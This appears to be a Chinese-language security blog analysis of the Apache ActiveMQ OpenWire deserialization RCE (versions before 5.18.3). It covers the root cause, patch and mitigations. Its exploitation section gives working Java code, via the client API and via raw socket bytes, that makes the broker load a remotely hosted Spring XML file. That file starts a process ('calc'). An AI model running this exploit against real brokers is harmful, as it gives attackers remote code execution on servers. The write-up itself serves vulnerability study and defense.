Apache ActiveMQ (版本 < 5.18.3) RCE 分析
字数 1178 2025-08-10 08:28:07
Apache ActiveMQ (<5.18.3) RCE漏洞分析与利用
漏洞概述
Apache ActiveMQ在5.18.3之前的版本中存在一个远程代码执行(RCE)漏洞,攻击者可以通过构造特殊的ExceptionResponse或ConnectionError消息,利用ActiveMQ的反序列化机制执行任意代码。
漏洞原理
漏洞存在于ActiveMQ的OpenWire协议实现中,具体在BaseDataStreamMarshaller类的createThrowable方法:
try {
Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader());
OpenWireUtil.validateIsThrowable(clazz);
Constructor constructor = clazz.getConstructor(new Class[] {String.class});
return (Throwable)constructor.newInstance(new Object[] {message});
} catch (IllegalArgumentException e) {
return e;
}
该方法会动态加载指定的类并实例化,只要满足:
- 类名可控
- 类有一个String参数的构造函数
- 类继承自Throwable
由于ActiveMQ自带Spring相关依赖,可以利用ClassPathXmlApplicationContext加载外部XML文件实现RCE。
影响版本
- Apache ActiveMQ < 5.18.3
- Apache ActiveMQ < 5.17.6
- Apache ActiveMQ < 5.16.7
- Apache ActiveMQ < 5.15.16
环境搭建
- 安装Java 1.8环境
- 下载受影响版本的ActiveMQ
- 使用IDEA进行远程调试
漏洞分析
关键类分析
- ExceptionResponseMarshaller:负责ExceptionResponse的序列化/反序列化
- ConnectionErrorMarshaller:负责ConnectionError的序列化/反序列化
- BaseDataStreamMarshaller:包含
createThrowable方法
漏洞触发流程
- 客户端发送包含恶意Throwable的ExceptionResponse或ConnectionError
- 服务端接收并调用
unmarshal方法 - 最终调用
createThrowable方法实例化恶意类 - 通过
ClassPathXmlApplicationContext加载外部XML执行命令
漏洞利用
方法一:使用ActiveMQ客户端API
ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://localhost:61616");
Connection connection = connectionFactory.createConnection();
connection.start();
ActiveMQSession session = (ActiveMQSession) connection.createSession(false,Session.AUTO_ACKNOWLEDGE);
ExceptionResponse exceptionResponse = new ExceptionResponse();
exceptionResponse.setException(new ClassPathXmlApplicationContext("http://127.0.0.1:8000/poc.xml"));
session.syncSendPacket(exceptionResponse);
connection.close();
方法二:直接构造OpenWire协议数据
Socket sck = new Socket(ip, port);
DataOutputStream out = new DataOutputStream(sck.getOutputStream());
out.writeInt(32); // 数据长度
out.writeByte(31); // ExceptionResponse的DATA_STRUCTURE_TYPE
out.writeInt(1); // 版本号
out.writeBoolean(true); // 包含exception
out.writeInt(1); // 未知
out.writeBoolean(true); // 类名存在
out.writeBoolean(true); // 消息存在
out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext"); // 恶意类名
out.writeBoolean(true);
out.writeUTF("http://127.0.0.1:8000/poc.xml"); // 恶意XML地址
out.flush();
sck.close();
恶意XML示例(poc.xml)
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>calc</value>
</list>
</constructor-arg>
</bean>
</beans>
补丁分析
补丁主要修改了createThrowable方法,增加了对可实例化类的限制,防止加载任意Throwable类。
防御措施
- 升级到最新版本ActiveMQ
- 限制网络访问,只允许可信IP连接
- 使用防火墙规则限制ActiveMQ端口访问
总结
该漏洞利用ActiveMQ的反序列化机制,通过构造特殊的ExceptionResponse或ConnectionError消息,触发服务端动态加载恶意类实现RCE。由于ActiveMQ广泛用于企业环境,该漏洞危害较大,建议用户及时升级。